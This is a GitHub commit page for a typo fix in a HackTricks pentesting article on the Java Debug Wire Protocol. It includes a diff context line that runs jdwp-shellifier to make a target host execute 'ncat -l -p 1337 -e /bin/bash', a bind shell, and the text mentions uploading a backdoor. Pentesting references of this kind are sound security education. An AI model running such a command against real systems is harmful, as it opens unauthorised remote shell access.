Skip to content

Commit

Permalink
Merge pull request HackTricks-wiki#963 from JohLud/patch-1
Browse files Browse the repository at this point in the history
Fix Typo in pentesting-jdwp-java-debug-wire-protocol.md
  • Loading branch information
carlospolop authored Nov 26, 2024
2 parents 8263986 + 9f4b5f8 commit c7ed023
Showing 1 changed file with 1 addition and 1 deletion.
Original file line number Diff line number Diff line change
Expand Up @@ -37,7 +37,7 @@ The go-to tool is [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Y
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
```

I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit more **stable**. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.
I found that the use of `--break-on 'java.lang.String.indexOf'` makes the exploit more **stable**. And if you have the chance to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.

## More details

Expand Down

0 comments on commit c7ed023

Please sign in to comment.